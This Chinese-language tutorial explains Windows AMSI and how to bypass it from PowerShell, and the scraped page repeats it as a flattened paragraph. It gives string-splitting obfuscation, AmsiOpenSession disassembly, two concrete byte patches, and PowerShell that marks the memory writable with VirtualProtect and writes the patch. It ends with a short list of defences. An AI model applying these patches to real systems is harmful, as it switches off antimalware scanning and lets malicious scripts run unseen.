Powershell调用AMSI分析
字数 1402 2025-08-24 07:48:22

PowerShell AMSI 绕过技术详解

1. AMSI 基础概念

1.1 AMSI 简介

AMSI (Antimalware Scan Interface) 是微软提供的反恶意软件扫描接口标准,允许应用程序与服务与计算机上的反恶意软件产品集成。主要特点:

  • 默认与 Windows Defender 交互
  • 监控 PowerShell、JScript、VBScript、VBA 和 .NET 命令/脚本
  • 首次引入于 Windows 10 (2015年)

1.2 AMSI 工作原理

当用户执行脚本或启动 PowerShell 时:

  1. AMSI.dll 被动态加载到内存
  2. 防病毒软件使用以下两个主要 API 扫描:
    • AmsiScanBuffer()
    • AmsiScanString()
  3. 检测到恶意软件则阻止执行

2. 关键 AMSI API 分析

2.1 AmsiInitialize

HRESULT AmsiInitialize(
  LPCWSTR      appName,
  HAMSICONTEXT *amsiContext
);
  • appName: 调用应用程序的名称/版本/GUID
  • amsiContext: 后续 API 调用所需的句柄
  • 在 PowerShell 命令执行前调用,无法修改

2.2 AmsiOpenSession

HRESULT AmsiOpenSession(
  HAMSICONTEXT  amsiContext,
  HAMSISESSION *amsiSession
);
  • 创建扫描会话的句柄
  • 必须在执行 PowerShell 命令时调用

2.3 AmsiScanBuffer

HRESULT AmsiScanBuffer(
  HAMSICONTEXT  amsiContext,
  PVOID         buffer,
  ULONG         length,
  LPCWSTR       contentName,
  HAMSISESSION  amsiSession,
  AMSI_RESULT   *result
);
  • 核心扫描函数,检查缓冲区内容
  • 使用 AmsiResultIsMalware 判断是否阻止内容

2.4 AmsiCloseSession

  • 关闭当前 AMSI 扫描会话
  • 在扫描完成后调用

3. AMSI 绕过技术

3.1 基本字符串混淆

  • 简单方法:字符串分割/拼接
    # 原始检测
    'AmsiUtils'
    
    # 混淆后
    'Ams' + 'iUtils'
    
  • 局限性:容易被更新后的 Defender 检测

3.2 内存补丁技术

3.2.1 分析 AmsiOpenSession 汇编

关键汇编指令:

00007ff9`de7124c0 4885d2          test rdx,rdx
00007ff9`de7124c3 0f8482000000    je      00007ff9`de71254b
...
00007ff9`de71250b b857000780      mov eax,80070057h
00007ff9`de712510 c3              ret

3.2.2 修改方案1:强制跳转

  • test rdx,rdx (0x4885d2) 替换为:
    • xor eax,eax (0x31c0)
    • nop (0x90)
  • 结果:强制设置 ZF=1,跳转到错误分支

3.2.3 修改方案2:直接返回

  • 将函数开头替换为返回指令:
    00007ff9`de71250b b857000780      mov eax,80070057h
    00007ff9`de712510 c3              ret
    

3.3 PowerShell 实现

3.3.1 获取函数地址

$method = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (func),
    (type)
)
$address = $method.Method.MethodHandle.GetFunctionPointer().ToInt32()

3.3.2 内存权限修改

  • 代码页默认权限:PAGE_EXECUTE_READ (0x20)
  • 需要修改为可写权限:
    $oldProtect = 0
    $virtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
    $virtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
    $virtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($virtualProtectAddr, $virtualProtectDelegate)
    
    $virtualProtect.Invoke($address, [UIntPtr]3, 0x40, [Ref]$oldProtect)
    

3.3.3 写入补丁

# 方案1补丁
$patch = [Byte[]] (0x31, 0xC0, 0x90)

# 方案2补丁
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, $patch.Length)

4. 技术要点总结

  1. AMSI 拦截点:主要针对 AmsiOpenSessionAmsiScanBuffer 函数

  2. 补丁位置选择:函数开头的关键跳转指令

  3. 内存保护处理:必须修改内存页权限为可写

  4. 补丁设计原则

    • 保持指令长度一致
    • 确保逻辑强制跳转到错误分支
    • 避免触发其他保护机制
  5. 稳定性考虑

    • 不同 Windows 版本函数地址可能变化
    • 补丁后可能影响其他依赖 AMSI 的功能
    • 需要考虑恢复原始代码的方案

5. 防御措施

  1. 监控 AMSI DLL 加载
  2. 检测关键 API 的钩子
  3. 验证 AMSI 函数完整性
  4. 实施代码签名验证
  5. 启用受控文件夹访问

6. 扩展思路

  1. 其他 API 补丁:如 AmsiScanBuffer 的类似修改
  2. DLL 卸载:强制卸载 AMSI.dll
  3. 进程注入:在 AMSI 初始化前注入
  4. ETW 绕过:同时禁用事件跟踪

以上技术仅用于安全研究目的,实际使用需遵守相关法律法规。

PowerShell AMSI 绕过技术详解 1. AMSI 基础概念 1.1 AMSI 简介 AMSI (Antimalware Scan Interface) 是微软提供的反恶意软件扫描接口标准,允许应用程序与服务与计算机上的反恶意软件产品集成。主要特点: 默认与 Windows Defender 交互 监控 PowerShell、JScript、VBScript、VBA 和 .NET 命令/脚本 首次引入于 Windows 10 (2015年) 1.2 AMSI 工作原理 当用户执行脚本或启动 PowerShell 时: AMSI.dll 被动态加载到内存 防病毒软件使用以下两个主要 API 扫描: AmsiScanBuffer() AmsiScanString() 检测到恶意软件则阻止执行 2. 关键 AMSI API 分析 2.1 AmsiInitialize appName : 调用应用程序的名称/版本/GUID amsiContext : 后续 API 调用所需的句柄 在 PowerShell 命令执行前调用,无法修改 2.2 AmsiOpenSession 创建扫描会话的句柄 必须在执行 PowerShell 命令时调用 2.3 AmsiScanBuffer 核心扫描函数,检查缓冲区内容 使用 AmsiResultIsMalware 判断是否阻止内容 2.4 AmsiCloseSession 关闭当前 AMSI 扫描会话 在扫描完成后调用 3. AMSI 绕过技术 3.1 基本字符串混淆 简单方法:字符串分割/拼接 局限性:容易被更新后的 Defender 检测 3.2 内存补丁技术 3.2.1 分析 AmsiOpenSession 汇编 关键汇编指令: 3.2.2 修改方案1:强制跳转 将 test rdx,rdx (0x4885d2) 替换为: xor eax,eax (0x31c0) nop (0x90) 结果:强制设置 ZF=1,跳转到错误分支 3.2.3 修改方案2:直接返回 将函数开头替换为返回指令: 3.3 PowerShell 实现 3.3.1 获取函数地址 3.3.2 内存权限修改 代码页默认权限:PAGE_ EXECUTE_ READ (0x20) 需要修改为可写权限: 3.3.3 写入补丁 4. 技术要点总结 AMSI 拦截点 :主要针对 AmsiOpenSession 和 AmsiScanBuffer 函数 补丁位置选择 :函数开头的关键跳转指令 内存保护处理 :必须修改内存页权限为可写 补丁设计原则 : 保持指令长度一致 确保逻辑强制跳转到错误分支 避免触发其他保护机制 稳定性考虑 : 不同 Windows 版本函数地址可能变化 补丁后可能影响其他依赖 AMSI 的功能 需要考虑恢复原始代码的方案 5. 防御措施 监控 AMSI DLL 加载 检测关键 API 的钩子 验证 AMSI 函数完整性 实施代码签名验证 启用受控文件夹访问 6. 扩展思路 其他 API 补丁 :如 AmsiScanBuffer 的类似修改 DLL 卸载 :强制卸载 AMSI.dll 进程注入 :在 AMSI 初始化前注入 ETW 绕过 :同时禁用事件跟踪 以上技术仅用于安全研究目的,实际使用需遵守相关法律法规。